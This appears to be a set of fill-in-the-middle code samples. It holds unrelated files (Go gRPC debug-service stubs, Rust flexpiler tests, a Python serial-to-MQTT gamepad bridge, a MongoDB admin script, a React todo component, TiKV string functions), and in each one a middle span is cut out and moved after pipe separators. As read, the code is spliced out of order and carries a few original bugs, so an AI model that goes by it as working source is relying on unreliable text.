var _ context.Context
var _ grpc.ClientConn
// This is a compile-time assertion to ensure that this generated file
// is compatible with the grpc package it is being compiled against.
const _ = grpc.SupportPackageIsVersion4
// DebugClient is the client API for Debug service.
//
// For semantics around ctx use and closing/ending streaming RPCs, please refer to https://godoc.org/google.golang.org/grpc#ClientConn.NewStream.
type DebugClient interface {
Dump(ctx context.Context, in *DumpRequest, opts ...grpc.CallOption) (Debug_DumpClient, error)
Profile(ctx context.Context, in *ProfileRequest, opts ...grpc.CallOption) (Debug_ProfileClient, error)
Binary(ctx context.Context, in *BinaryRequest, opts ...grpc.CallOption) (Debug_BinaryClient, error)
}
type debugClient struct {
cc *grpc.ClientConn
}
func NewDebugClient(cc *grpc.ClientConn) DebugClient {
return &debugClient{cc}
}
func (c *debugClient) Dump(ctx context.Context, in *DumpRequest, opts ...grpc.CallOption) (Debug_DumpClient, error) {
stream, err := c.cc.NewStream(ctx, &_Debug_serviceDesc.Streams[0], "/debug.Debug/Dump", opts...)
if err != nil {
return nil, err
}
x := &debugDumpClient{stream}
if err := x.ClientStream.SendMsg(in); err != nil {
return nil, err
}
if err := x.ClientStream.CloseSend(); err != nil {
return nil, err
}
return x, nil
}
type Debug_DumpClient interface {
Recv() (*types.BytesValue, error)
grpc.ClientStream
}
type debugDumpClient struct {
grpc.ClientStream
}
func (x *debugDumpClient) Recv() (*types.BytesValue, error) {
m := new(types.BytesValue)
if err := x.ClientStream.RecvMsg(m); err != nil {
return nil, err
}
return m, nil
}
func (c *debugClient) Profile(ctx context.Context, in *ProfileRequest, opts ...grpc.CallOption) (Debug_ProfileClient, error) {
stream, err := c.cc.NewStream(ctx, &_Debug_serviceDesc.Streams[1], "/debug.Debug/Profile", opts...)
if err != nil {
return nil, err
}
x := &debugProfileClient{stream}
if err := x.ClientStream.SendMsg(in); err != nil {
return nil, err
}
if err := x.ClientStream.CloseSend(); err != nil {
return nil, err
}
return x, nil
}
type Debug_ProfileClient interface {
Recv() (*types.BytesValue, error)
grpc.ClientStream
}
type debugProfileClient struct {
grpc.ClientStream
}
func (x *debugProfileClient) Recv() (*types.BytesValue, error) {
m := new(types.BytesValue)
if err := x.ClientStream.RecvMsg(m); err != nil {
return nil, err
}
return m, nil
}
func (c *debugClient) Binary(ctx context.Context, in *BinaryRequest, opts ...grpc.CallOption) (Debug_BinaryClient, error) {
stream, err := c.cc.NewStream(ctx, &_Debug_serviceDesc.Streams[2], "/debug.Debug/Binary", opts...)
if err != nil {
return nil, err
}
x := &debugBinaryClient{stream}
if err := x.ClientStream.SendMsg(in); err != nil {
return nil, err
}
if err := x.ClientStream.CloseSend(); err != nil {
return nil, err
}
return x, nil
}
type Debug_BinaryClient interface {
Recv() (*types.BytesValue, error)
grpc.ClientStream
}
type debugBinaryClient struct {
grpc.ClientStream
}
func (x *debugBinaryClient) Recv() (*types.BytesValue, error) {
m := new(types.BytesValue)
if err := x.ClientStream.RecvMsg(m); err != nil {
return nil, err
}
return m, nil
}
// DebugServer is the server API for Debug service.
type DebugServer interface {
Dump(*DumpRequest, Debug_DumpServer) error
Profile(*ProfileRequest, Debug_ProfileServer) error
Binary(*BinaryRequest, Debug_BinaryServer) error
}
// UnimplementedDebugServer can be embedded to have forward compatible implementations.
type UnimplementedDebugServer struct {
}
func (*UnimplementedDebugServer) Dump(req *DumpRequest, srv Debug_DumpServer) error {
return status.Errorf(codes.Unimplemented, "method Dump not implemented")
}
func (*UnimplementedDebugServer) Profile(req *ProfileRequest, srv Debug_ProfileServer) error {
return status.Errorf(codes.Unimplemented, "method Profile not implemented")
}
func (*UnimplementedDebugServer) Binary(req *BinaryRequest, srv Debug_BinaryServer) error {
return status.Errorf(codes.Unimplemented, "method Binary not implemented")
}
func RegisterDebugServer(s *grpc.Server, srv DebugServer) {
s.RegisterService(&_Debug_serviceDesc, srv)
}
func _Debug_Dump_Handler(srv interface{}, stream grpc.ServerStream) error {
m := new(DumpRequest)
if err := stream.RecvMsg(m); err != nil {
return err
}
return srv.(DebugServer).Dump(m, &debugDumpServer{stream})
}
type Debug_DumpServer interface {
Send(*types.BytesValue) error
grpc.ServerStream
}
type debugDumpServer struct {
grpc.ServerStream
}
func (x *debugDumpServer) Send(m *types.BytesValue) error {
return x.ServerStream.SendMsg(m)
}
func _Debug_Profile_Handler(srv interface{}, stream grpc.ServerStream) error {
m := new(ProfileRequest)
if err := stream.RecvMsg(m); err != nil {
return err
}
return srv.(DebugServer).Profile(m, &debugProfileServer{stream})
}
type Debug_ProfileServer interface {
Send(*types.BytesValue) error
grpc.ServerStream
}
type debugProfileServer struct {
grpc.ServerStream
}
func (x *debugProfileServer) Send(m *types.BytesValue) error {
return x.ServerStream.SendMsg(m)
}
func _Debug_Binary_Handler(srv interface{}, stream grpc.ServerStream) error {
m := new(BinaryRequest)
if err := stream.RecvMsg(m); err != nil {
return err
}
return srv.(DebugServer).Binary(m, &debugBinaryServer{stream})
}
type Debug_BinaryServer interface {
Send(*types.BytesValue) error
grpc.ServerStream
}
type debugBinaryServer struct {
grpc.ServerStream
}
func (x *debugBinaryServer) Send(m *types.BytesValue) error {
return x.ServerStream.SendMsg(m)
}
var _Debug_serviceDesc = grpc.ServiceDesc{
ServiceName: "debug.Debug",
HandlerType: (*DebugServer)(nil),
Methods: []grpc.MethodDesc{},
Streams: []grpc.StreamDesc{
{
StreamName: "Dump",
Handler: _Debug_Dump_Handler,
ServerStreams: true,
},
{
StreamName: "Profile",
Handler: _Debug_Profile_Handler,
ServerStreams: true,
},
{
StreamName: "Binary",
Handler: _Debug_Binary_Handler,
ServerStreams: true,
},
},
Metadata: "client/debug/debug.proto",
}
func (m *DumpRequest) Marshal() (dAtA []byte, err error) {
size := m.Size()
dAtA = make([]byte, size)
n, err := m.MarshalTo(dAtA)
if err != nil {
return nil, err
}
return dAtA[:n], nil
}
func (m *DumpRequest) MarshalTo(dAtA []byte) (int, error) {
var i int
_ = i
var l int
_ = l
if m.Recursed {
dAtA[i] = 0x8
i++
if m.Recursed {
dAtA[i] = 1
} else {
dAtA[i] = 0
}
i++
}
if m.XXX_unrecognized != nil {
i += copy(dAtA[i:], m.XXX_unrecognized)
}
return i, nil
}
func (m *ProfileRequest) Marshal() (dAtA []byte, err error) {
size := m.Size()
dAtA = make([]byte, size)
n, err := m.MarshalTo(dAtA)
if err != nil {
return nil, err
}
return dAtA[:n], nil
}
func (m *ProfileRequest) MarshalTo(dAtA []byte) (int, error) {
var i int
_ = i
var l int
_ = l
if len(m.Profile) > 0 {
dAtA[i] = 0xa
i++
i = encodeVarintDebug(dAtA, i, uint64(len(m.Profile)))
i += copy(dAtA[i:], m.Profile)
}
if m.Duration != nil {
dAtA[i] = 0x12
i++
i = encodeVarintDebug(dAtA, i, uint64(m.Duration.Size()))
n1, err1 := m.Duration.MarshalTo(dAtA[i:])
if err1 != nil {
return 0, err1
}
i += n1
}
if m.XXX_unrecognized != nil {
i += copy(dAtA[i:], m.XXX_unrecognized)
}
return i, nil
}
func (m *BinaryRequest) Marshal() (dAtA []byte, err error) {
size := m.Size()
dAtA = make([]byte, size)
n, err := m.MarshalTo(dAtA)
if err != nil {
return nil, err
}
return dAtA[:n], nil
}
func (m *BinaryRequest) MarshalTo(dAtA []byte) (int, error) {
var i int
_ = i
var l int
_ = l
if m.XXX_unrecognized != nil {
i += copy(dAtA[i:], m.XXX_unrecognized)
}
return i, nil
}
func encodeVarintDebug(dAtA []byte, offset int, v uint64) int {
for v >= 1<<7 {
dAtA[offset] = uint8(v&0x7f | 0x80)
v >>= 7
offset++
}
dAtA[offset] = uint8(v)
return offset + 1
}
func (m *DumpRequest) Size() (n int) {
if m == nil {
return 0
}
var l int
_ = l
if m.Recursed {
n += 2
}
if m.XXX_unrecognized != nil { | n += len(m.XXX_unrecognized)
}
return n
}
func (m *ProfileRequest) Size() (n int) {
if m == nil {
return 0
}
var l int
_ = l
l = len(m.Profile)
if l > 0 {
n += 1 + l + sovDebug(uint64(l))
}
if m.Duration != nil {
l = m.Duration.Size()
n += 1 + l + sovDebug(uint64(l))
}
if m.XXX_unrecognized != nil {
n += len(m.XXX_unrecognized)
}
return n
}
func (m *BinaryRequest) Size() (n int) {
if m == nil {
return 0
}
var l int
_ = l
if m.XXX_unrecognized != nil {
n += len(m.XXX_unrecognized)
}
return n
}
func sovDebug(x uint64) (n int) {
return (math_bits.Len64(x|1) + 6) / 7
}
func sozDebug(x uint64) (n int) {
return sovDebug(uint64((x << 1) ^ uint64((int64(x) >> 63))))
}
func (m *DumpRequest) Unmarshal(dAtA []byte) error {
l := len(dAtA)
iNdEx := 0
for iNdEx < l {
preIndex := iNdEx
var wire uint64
for shift := uint(0); ; shift += 7 {
if shift >= 64 {
return ErrIntOverflowDebug
}
if iNdEx >= l {
return io.ErrUnexpectedEOF
}
b := dAtA[iNdEx]
iNdEx++
wire |= uint64(b&0x7F) << shift
if b < 0x80 {
break
}
}
fieldNum := int32(wire >> 3)
wireType := int(wire & 0x7)
if wireType == 4 {
return fmt.Errorf("proto: DumpRequest: wiretype end group for non-group")
}
if fieldNum <= 0 {
return fmt.Errorf("proto: DumpRequest: illegal tag %d (wire type %d)", fieldNum, wire)
}
switch fieldNum {
case 1:
if wireType != 0 {
return fmt.Errorf("proto: wrong wireType = %d for field Recursed", wireType)
}
var v int
for shift := uint(0); ; shift += 7 {
if shift >= 64 {
return ErrIntOverflowDebug
}
if iNdEx >= l {
return io.ErrUnexpectedEOF
}
b := dAtA[iNdEx]
iNdEx++
v |= int(b&0x7F) << shift
if b < 0x80 {
break
}
}
m.Recursed = bool(v != 0)
default:
iNdEx = preIndex
skippy, err := skipDebug(dAtA[iNdEx:])
if err != nil {
return err
}
if skippy < 0 {
return ErrInvalidLengthDebug
}
if (iNdEx + skippy) < 0 {
return ErrInvalidLengthDebug
}
if (iNdEx + skippy) > l {
return io.ErrUnexpectedEOF
}
m.XXX_unrecognized = append(m.XXX_unrecognized, dAtA[iNdEx:iNdEx+skippy]...)
iNdEx += skippy
}
}
if iNdEx > l {
return io.ErrUnexpectedEOF
}
return nil
}
func (m *ProfileRequest) Unmarshal(dAtA []byte) error {
l := len(dAtA)
iNdEx := 0
for iNdEx < l {
preIndex := iNdEx
var wire uint64
for shift := uint(0); ; shift += 7 {
if shift >= 64 {
return ErrIntOverflowDebug
}
if iNdEx >= l {
return io.ErrUnexpectedEOF
}
b := dAtA[iNdEx]
iNdEx++
wire |= uint64(b&0x7F) << shift
if b < 0x80 {
break
}
}
fieldNum := int32(wire >> 3)
wireType := int(wire & 0x7)
if wireType == 4 {
return fmt.Errorf("proto: ProfileRequest: wiretype end group for non-group")
}
if fieldNum <= 0 {
return fmt.Errorf("proto: ProfileRequest: illegal tag %d (wire type %d)", fieldNum, wire)
}
switch fieldNum {
case 1:
if wireType != 2 {
return fmt.Errorf("proto: wrong wireType = %d for field Profile", wireType)
}
var stringLen uint64
for shift := uint(0); ; shift += 7 {
if shift >= 64 {
return ErrIntOverflowDebug
}
if iNdEx >= l {
return io.ErrUnexpectedEOF
}
b := dAtA[iNdEx]
iNdEx++
stringLen |= uint64(b&0x7F) << shift
if b < 0x80 {
break
}
}
intStringLen := int(stringLen)
if intStringLen < 0 {
return ErrInvalidLengthDebug
}
postIndex := iNdEx + intStringLen
if postIndex < 0 {
return ErrInvalidLengthDebug
}
if postIndex > l {
return io.ErrUnexpectedEOF
}
m.Profile = string(dAtA[iNdEx:postIndex])
iNdEx = postIndex
case 2:
if wireType != 2 {
return fmt.Errorf("proto: wrong wireType = %d for field Duration", wireType)
}
var msglen int
for shift := uint(0); ; shift += 7 {
if shift >= 64 {
return ErrIntOverflowDebug
}
if iNdEx >= l {
return io.ErrUnexpectedEOF
}
b := dAtA[iNdEx]
iNdEx++
msglen |= int(b&0x7F) << shift
if b < 0x80 {
break
}
}
if msglen < 0 {
return ErrInvalidLengthDebug
}
postIndex := iNdEx + msglen
if postIndex < 0 {
return ErrInvalidLengthDebug
}
if postIndex > l {
return io.ErrUnexpectedEOF
}
if m.Duration == nil {
m.Duration = &types.Duration{}
}
if err := m.Duration.Unmarshal(dAtA[iNdEx:postIndex]); err != nil {
return err
}
iNdEx = postIndex
default:
iNdEx = preIndex
skippy, err := skipDebug(dAtA[iNdEx:])
if err != nil {
return err
}
if skippy < 0 {
return ErrInvalidLengthDebug
}
if (iNdEx + skippy) < 0 {
return ErrInvalidLengthDebug
}
if (iNdEx + skippy) > l {
return io.ErrUnexpectedEOF
}
m.XXX_unrecognized = append(m.XXX_unrecognized, dAtA[iNdEx:iNdEx+skippy]...)
iNdEx += skippy
}
}
if iNdEx > l {
return io.ErrUnexpectedEOF
}
return nil
}
func (m *BinaryRequest) Unmarshal(dAtA []byte) error {
l := len(dAtA)
iNdEx := 0
for iNdEx < l {
preIndex := iNdEx
var wire uint64
for shift := uint(0); ; shift += 7 {
if shift >= 64 {
return ErrIntOverflowDebug
}
if iNdEx >= l {
return io.ErrUnexpectedEOF
}
b := dAtA[iNdEx]
iNdEx++
wire |= uint64(b&0x7F) << shift
if b < 0x80 {
break
}
}
fieldNum := int32(wire >> 3)
wireType := int(wire & 0x7)
if wireType == 4 {
return fmt.Errorf("proto: BinaryRequest: wiretype end group for non-group")
}
if fieldNum <= 0 {
return fmt.Errorf("proto: BinaryRequest: illegal tag %d (wire type %d)", fieldNum, wire)
}
switch fieldNum {
default:
iNdEx = preIndex
skippy, err := skipDebug(dAtA[iNdEx:])
if err != nil {
return err
}
if skippy < 0 {
return ErrInvalidLengthDebug
}
if (iNdEx + skippy) < 0 {
return ErrInvalidLengthDebug
}
if (iNdEx + skippy) > l {
return io.ErrUnexpectedEOF
}
m.XXX_unrecognized = append(m.XXX_unrecognized, dAtA[iNdEx:iNdEx+skippy]...)
iNdEx += skippy
}
}
if iNdEx > l {
return io.ErrUnexpectedEOF
}
return nil
}
func skipDebug(dAtA []byte) (n int, err error) {
l := len(dAtA)
iNdEx := 0
for iNdEx < l {
var wire uint64
for shift := uint(0); ; shift += 7 {
if shift >= 64 {
return 0, ErrIntOverflowDebug
}
if iNdEx >= l {
return 0, io.ErrUnexpectedEOF
}
b := dAtA[iNdEx]
iNdEx++
wire |= (uint64(b) & 0x7F) << shift
if b < 0x80 {
break
}
}
wireType := int(wire & 0x7)
switch wireType {
case 0:
for shift := uint(0); ; shift += 7 {
if shift >= 64 {
return 0, ErrIntOverflowDebug
}
if iNdEx >= l {
return 0, io.ErrUnexpectedEOF
}
iNdEx++
if dAtA[iNdEx-1] < 0x80 {
break
}
}
return iNdEx, nil
case 1:
iNdEx += 8
return iNdEx, nil
case 2:
var length int
for shift := uint(0); ; shift += 7 {
if shift >= 64 {
return 0, ErrIntOverflowDebug
}
if iNdEx >= l {
return 0, io.ErrUnexpectedEOF
}
b := dAtA[iNdEx]
iNdEx++
length |= (int(b) & 0x7F) << shift
if b < 0x80 {
break
}
}
if length < 0 {
return 0, ErrInvalidLengthDebug
}
iNdEx += length
if iNdEx < 0 {
return 0, ErrInvalidLengthDebug
}
return iNdEx, nil
case 3:
for {
var innerWire uint64
var start int = iNdEx
for shift := uint(0); ; shift += 7 {
if shift >= 64 {
return 0, ErrIntOverflowDebug
}
if iNdEx >= l {
return 0, io.ErrUnexpectedEOF
}
b := dAtA[iNdEx]
iNdEx++
innerWire |= (uint64(b) & 0x7F) << shift
if b < 0x80 {
break
}
}
innerWireType := int(innerWire & 0x7)
if innerWireType == 4 {
break
}
next, err := skipDebug(dAtA[start:])
if err != nil {
return 0, err
}
iNdEx = start + next
if iNdEx < 0 {
return 0, ErrInvalidLengthDebug
}
}
return iNdEx, nil
case 4:
return iNdEx, nil
case 5:
iNdEx += 4
return iNdEx, nil
default:
return 0, fmt.Errorf("proto: illegal wireType %d", wireType)
}
}
panic("unreachable")
}
var (
ErrInvalidLengthDebug = fmt.Errorf("proto: negative length found during unmarshaling")
ErrIntOverflowDebug = fmt.Errorf("proto: integer overflow")
) | |
mod.rs | mod generics;
mod vec;
#[derive(flexpiler::Deserialize)]
pub struct AutomaticSubTestStruct {
pub a_usize: usize,
}
#[derive(flexpiler::Deserialize)]
pub struct AutomaticTestStruct {
pub a_i32: i32,
pub a_usize: usize,
pub a_string: std::string::String,
pub a_sub: AutomaticSubTestStruct,
}
#[test]
fn automaticsubteststruct_min_formatting() {
use flexpiler::Deserialize;
use flexpiler::common::reader;
let mut reader = reader::String::from(
"AutomaticSubTestStruct{a_usize:60}"
);
let parse_result = AutomaticSubTestStruct::deserialize(&mut reader);
let test_struct = match parse_result {
Ok(value) => value,
Err(error) => {
assert!(false, "simple_manual_teststruct_manualsubteststruct_basic_serialisation_successful() test ended in a failed deserialization:\n{}", error);
return;
}
};
assert_eq!(test_struct.a_usize, 60,
"simple_manual_teststruct_manualsubteststruct_basic_serialisation_successful(): a_usize deserialised value had unexpected usize value {}, expected {}",
test_struct.a_usize,
60);
}
#[test]
fn automaticsubteststruct_max_formatting() {
use flexpiler::Deserialize;
use flexpiler::common::reader;
let mut reader = reader::String::from(
" \t\nAutomaticSubTestStruct \t\n{ \t\na_usize: \t\n60 \t\n} \t\n"
);
let parse_result = AutomaticSubTestStruct::deserialize(&mut reader);
let test_struct = match parse_result {
Ok(value) => value,
Err(error) => {
assert!(false, "simple_manual_teststruct_manualsubteststruct_basic_serialisation_successful() test ended in a failed deserialization:\n{}", error);
return;
}
};
assert_eq!(test_struct.a_usize, 60,
"simple_manual_teststruct_manualsubteststruct_basic_serialisation_successful(): a_usize deserialised value had unexpected usize value {}, expected {}",
test_struct.a_usize,
60);
}
#[test]
fn automatic_test_struct_min_formatting() {
use flexpiler::Deserialize;
use flexpiler::common::reader;
let mut reader = reader::String::from(
"AutomaticTestStruct{a_string:\"Hello\",a_i32:-34,a_usize:50,a_sub:AutomaticSubTestStruct{a_usize:67}}"
);
let parse_result = AutomaticTestStruct::deserialize(&mut reader);
let test_struct = match parse_result {
Ok(value) => value,
Err(error) => {
assert!(false, "simple_automatic_test_struct_basic_serialisation_successful() test ended in a failed deserialization:\n{}", error);
return;
}
};
assert_eq!(test_struct.a_string, "Hello",
"simple_automatic_test_struct_basic_serialisation_successful() deserialised value had unexpected string value {}, expected {}",
test_struct.a_string,
"Hello");
assert_eq!(test_struct.a_usize, 50,
"simple_automatic_test_struct_basic_serialisation_successful() deserialised value had unexpected string value {}, expected {}",
test_struct.a_usize,
50);
assert_eq!(test_struct.a_i32, -34,
"simple_automatic_test_struct_basic_serialisation_successful() deserialised value had unexpected string value {}, expected {}",
test_struct.a_i32,
-34);
assert_eq!(test_struct.a_sub.a_usize, 67,
"simple_automatic_test_struct_basic_serialisation_successful() deserialised value had unexpected string value {}, expected {}",
test_struct.a_i32,
67);
}
#[test]
fn | () {
use flexpiler::Deserialize;
use flexpiler::common::reader;
let mut reader = reader::String::from(
" \t\nAutomaticTestStruct \t\n{ \t\na_string: \t\n\"Hello\" \t\n, \t\na_i32: \t\n-34 \t\n, \t\na_usize: \t\n50 \t\n, \t\na_sub: \t\nAutomaticSubTestStruct \t\n{ \t\na_usize: \t\n67 \t\n} \t\n} \t\n"
);
let parse_result = AutomaticTestStruct::deserialize(&mut reader);
let test_struct = match parse_result {
Ok(value) => value,
Err(error) => {
assert!(false, "simple_automatic_test_struct_basic_serialisation_successful() test ended in a failed deserialization:\n{}", error);
return;
}
};
assert_eq!(test_struct.a_string, "Hello",
"simple_automatic_test_struct_basic_serialisation_successful() deserialised value had unexpected string value {}, expected {}",
test_struct.a_string,
"Hello");
assert_eq!(test_struct.a_usize, 50,
"simple_automatic_test_struct_basic_serialisation_successful() deserialised value had unexpected string value {}, expected {}",
test_struct.a_usize,
50);
assert_eq!(test_struct.a_i32, -34,
"simple_automatic_test_struct_basic_serialisation_successful() deserialised value had unexpected string value {}, expected {}",
test_struct.a_i32,
-34);
assert_eq!(test_struct.a_sub.a_usize, 67,
"simple_automatic_test_struct_basic_serialisation_successful() deserialised value had unexpected string value {}, expected {}",
test_struct.a_i32,
67);
}
| automatic_test_struct_max_formatting |
serial2MQTT.py | #coding: UTF-8
import serial
import sys
import time
import binascii
import json
import math
from collections import deque
import paho.mqtt.client as mqtt
# 設定系変数(デフォルト値で初期化)
MQTT_BROKER_IP = "localhost"
MQTT_BROKER_PORT = 1883
SERIAL_PORT = "COM3"
MESSAGE_LEN = 240
NO_MESSAGE_TIME_OUT = 5.0
NO_MESSAGE_MAX_COUNT = 30000
# グローバル変数
cmd_gamepad = [99,109,100,254,253,252,0,0,0,128,128,128,128,128,128,252]
cmd_queue = deque([])
key_dict = {
"cross_x":0,
"cross_y":0,
"L3D_x":0,
"L3D_y":0,
"R3D_x":0,
"R3D_y":0,
"RT":0,
"LT":0,
"A":0,
"B":0,
"X":0,
"Y":0,
"RB":0,
"LB":0,
"BACK":0,
"START":0
}
def load_config():
with open('config.json', 'r') as f:
config = json.load(f)
MQTT_BROKER_IP = config["MQTT_BROKER_IP"]
MQTT_BROKER_PORT = config["MQTT_BROKER_PORT"]
MESSAGE_LEN = config["MESSAGE_LEN"]
NO_MESSAGE_TIME_OUT = config["NO_MESSAGE_TIME_OUT"]
NO_MESSAGE_MAX_COUNT = config["NO_MESSAGE_MAX_COUNT"]
def on_message(client, userdata, msg):
if msg.topic == "gamepad":
cmd_byte = [0 for x in range(16)]
key_dict = json.loads(msg.payload.decode('utf-8') )
cmd_byte[0] = 99 # ヘッダー
cmd_byte[1] = 109
cmd_byte[2] = 100
cmd_byte[3] = 254# ID0
cmd_byte[4] = 253 # ID1
cmd_byte[9] = 128
cmd_byte[10] = 128
cmd_byte[11] = 128
cmd_byte[12] = 128
cmd_byte[13] = 128
cmd_byte[14] = 128
cmd_byte[6] = key_dict["A"] + \
(key_dict["B"] << 1) + \
(key_dict["X"] << 2) +\
(key_dict["Y"] << 3) +\
(key_dict["RB"] << 4) +\
(key_dict["LB"] << 5) +\
(key_dict["BACK"] << 6) +\
(key_dict["START"] << 7)
cmd_byte[7] = key_dict["RT"]
cmd_byte[8] = key_dict["LT"]
cmd_byte[9] = key_dict["cross_x"]
cmd_byte[10] = key_dict["cross_y"]
cmd_byte[11] = key_dict["R3D_x"]
cmd_byte[12] = key_dict["R3D_y"]
cmd_byte[13] = key_dict["L3D_x"]
cmd_byte[14] = key_dict["L3D_y"]
cmd_byte[15] = 252
chk_sum = 0
for i in range(6,16):
chk_sum += cmd_byte[i]
cmd_byte[5] = chk_sum % 256 # チェックサム
global cmd_gamepad
cmd_gamepad = [cmd_byte[i] for i in range(16)]
if msg.topic == "cmd":
global cmd_queue
print(msg.payload)
cmd_byte = [ msg.payload[i] for i in range(16) ]
print(cmd_byte)
cmd_queue.append(cmd_byte)
def create_mqtt_client():
host = MQTT_BROKER_IP
port = MQTT_BROKER_PORT
# インスタンス作成時に protocl v3.1.1を指定
client = mqtt.Client(protocol=mqtt.MQTTv311)
client.connect(host, port=port, keepalive=60)
client.publish("presence","this is " + __file__)
client.on_message = on_message
client.subscribe("gamepad")
client.subscribe("cmd")
return client
def publish_data_loop(client,ser):
buff = []
s = []
st = []
st_bytes=b""
length = 0
i = 0
start_time = time.time()
timestamp = 0
timestamp_pre = 0
elapsed_time = 0
no_message_count = 0
ser.write(cmd_gamepad)
print (len(buff))
while True:
#client.publish("TEST","While Loop")
s = [ele for ele in ser.read(ser.in_waiting)]
buff.extend(s)
if len(s) == 0:
no_message_count = no_message_count + 1
if no_message_count > NO_MESSAGE_MAX_COUNT:
client.loop_stop(force=False)
ser.close()
print("COM" + " is busy.")
client.publish("TEST", "Serial no message" +" error!")
client.disconnect()
print("exit!")
sys.exit(0)
return
else:
no_message_count = 0
length = len(buff)
if length < MESSAGE_LEN + 5:
continue
for i in range(length-MESSAGE_LEN-2):
if (buff[i] == 0xff) and (buff[i+1] == 0xff) and \
(buff[i+2]==0x48) and (buff[i+3]==0x45) and \
(buff[i+4] == 0x41) and (buff[i+5]==0x44): #and \
#(buff[i+message_len] == 0xff) and (buff[i+1+message_len] == 0xff):
polution_check = False
for j in range(i+6, i+MESSAGE_LEN - 3):
if (buff[j] == 0xff) and (buff[j+1] == 0xff) and (buff[j+2]==0x48):
buff = buff[j:]
polution_check = True
break
if polution_check == True:
break
start_time = time.time()
timestamp_pre = timestamp
timestamp = buff[11]
st = buff[i:i+MESSAGE_LEN]
st_bytes = binascii.hexlify(bytes(list(st)))
chk_sum = 0
for k in range(7,MESSAGE_LEN):
chk_sum = chk_sum + st[k]
if chk_sum%256 != st[6] or (timestamp-timestamp_pre+256)%256 != 10:
client.publish("error", str(timestamp)+" "+str(timestamp_pre) + " " + str(chk_sum%256) + " " + str(st[6])+" "+ str(len(buff)))
client.publish("mouse", bytes(list(st)))
try:
ser.write(cmd_gamepad)
client.publish("TEST", "in msg loop")
if len(cmd_queue) != 0:
ser.write(cmd_queue.popleft())
except:
ser.close()
client.publish("TEST", "serial write" +" error!")
return
buff = buff[i+MESSAGE_LEN:]
break
end_time = time.time()
elapsed_time = end_time - start_time
client.publish("TEST","elapsed:"+str(elapsed_time))
#print (elapsed_time,len(buff),timestamp, (timestamp-timestamp_pre+256)%256 )
#print(cmd_list)
if(elapsed_time > NO_MESSAGE_TIME_OUT):
client.loop_stop(force=False)
ser.close()
print("serial" + " is busy.")
client.publish("TEST", "serial" +" is busy!")
client.disconnect()
print("exit!")
sys.exit(0)
return
def main():
load_config()
client = create_mqtt_client()
while True:
try:
| ser = serial.Serial(SERIAL_PORT,timeout = 0.05, write_timeout=0.05)
client.publish("TEST", "Serial connected")
print("Serial connected")
break
except:
client.publish("TEST", "Cannot connect serial!")
print("Cannot connect serial")
client.publish("TEST", "data send start!")
client.loop_start()
publish_data_loop(client,ser)
if __name__ == "__main__":
main()
|
|
admin.js | GLOBAL.DEBUG = true;
sys = require("sys");
test = require("assert");
var Db = require('../lib/mongodb').Db,
Connection = require('../lib/mongodb').Connection,
Server = require('../lib/mongodb').Server,
// BSON = require('../lib/mongodb').BSONPure;
BSON = require('../lib/mongodb').BSONNative;
var host = process.env['MONGO_NODE_DRIVER_HOST'] != null ? process.env['MONGO_NODE_DRIVER_HOST'] : 'localhost';
var port = process.env['MONGO_NODE_DRIVER_PORT'] != null ? process.env['MONGO_NODE_DRIVER_PORT'] : Connection.DEFAULT_PORT;
sys.puts("Connecting to " + host + ":" + port);
var db = new Db('node-mongo-examples', new Server(host, port, {}), {native_parser:true});
db.open(function(err, db) {
db.dropDatabase(function(err, result){
db.dropCollection('test', function(err, result) {
db.createCollection('test', function(err, collection) {
// Erase all records in collection
collection.remove(function(err, collection) {
db.admin(function(err, admin) {
// Profiling level set/get
admin.profilingLevel(function(err, profilingLevel) {
sys.puts("Profiling level: " + profilingLevel);
});
// Start profiling everything
admin.setProfilingLevel('all', function(err, level) {
sys.puts("Profiling level: " + level);
// Read records, creating a profiling event
collection.find(function(err, cursor) {
cursor.toArray(function(err, items) {
// Stop profiling
admin.setProfilingLevel('off', function(err, level) {
// Print all profiling info
admin.profilingInfo(function(err, info) {
sys.puts(sys.inspect(info));
// Validate returns a hash if all is well or return an error has if there is a | admin.validatCollection(collection.collectionName, function(err, result) {
sys.puts(result.result);
db.close();
});
});
});
});
});
});
});
});
});
});
});
}); | // problem. |
TodoAdd.tsx | import React, { useState } from 'react'
import { useObserver } from 'mobx-react-lite'
import { css } from '@emotion/core'
import { useStore } from '../hooks/useStore'
import 'mobx-react-lite/batchingForReactDom'
import { onEnterPress } from '../hooks/onEnterPress'
| import { AddButton } from './StyledUI/AddButton'
const TodoAddWrapper = css({
display: 'flex',
position: 'relative',
margin: '30px 0'
})
export const TodoAdd = () => {
const [newTodo, setTodo] = useState('')
const todoList = useStore()
const addTodo = () => {
todoList.addTodo(newTodo)
setTodo('')
}
return useObserver(() => (
<div className="todo-add" css={TodoAddWrapper}>
<Input value={newTodo} onKeyDown={onEnterPress(addTodo)} onChange={(e: any) => setTodo(e.target.value)} />
<AddButton onClick={addTodo} />
</div>
))
} | import { Input } from './StyledUI/Input' |
impl_string.rs | // Copyright 2019 TiKV Project Authors. Licensed under Apache-2.0.
use std::str;
use tidb_query_codegen::rpn_fn;
use tidb_query_common::Result;
use tidb_query_datatype::codec::data_type::*;
use tidb_query_datatype::*;
use tidb_query_shared_expr::string::{
encoded_size, line_wrap, strip_whitespace, trim, validate_target_len_for_pad, TrimDirection,
BASE64_ENCODED_CHUNK_LENGTH, BASE64_INPUT_CHUNK_LENGTH,
};
const SPACE: u8 = 0o40u8;
#[rpn_fn]
#[inline]
pub fn bin(num: Option<&Int>) -> Result<Option<Bytes>> {
Ok(num.map(|i| Bytes::from(format!("{:b}", i))))
}
#[rpn_fn]
#[inline]
pub fn oct_int(num: Option<&Int>) -> Result<Option<Bytes>> {
Ok(num.map(|i| Bytes::from(format!("{:o}", i))))
}
#[rpn_fn]
#[inline]
pub fn length(arg: Option<BytesRef>) -> Result<Option<i64>> {
Ok(arg.map(|bytes| bytes.len() as i64))
}
#[rpn_fn]
#[inline]
pub fn unhex(arg: Option<BytesRef>) -> Result<Option<Bytes>> {
if let Some(content) = arg {
// hex::decode will fail on odd-length content
// but mysql won't
// so do some padding
let mut padded_content = Vec::with_capacity(content.len() + content.len() % 2);
if content.len() % 2 == 1 {
padded_content.push(b'0')
}
padded_content.extend_from_slice(content);
Ok(hex::decode(padded_content).ok())
} else {
Ok(None)
}
}
#[rpn_fn]
#[inline]
pub fn bit_length(arg: Option<BytesRef>) -> Result<Option<i64>> {
Ok(arg.map(|bytes| bytes.len() as i64 * 8))
}
#[rpn_fn(varg, min_args = 1)]
#[inline]
pub fn concat(args: &[Option<BytesRef>]) -> Result<Option<Bytes>> {
let mut output = Bytes::new();
for arg in args {
if let Some(s) = arg {
output.extend_from_slice(s);
} else {
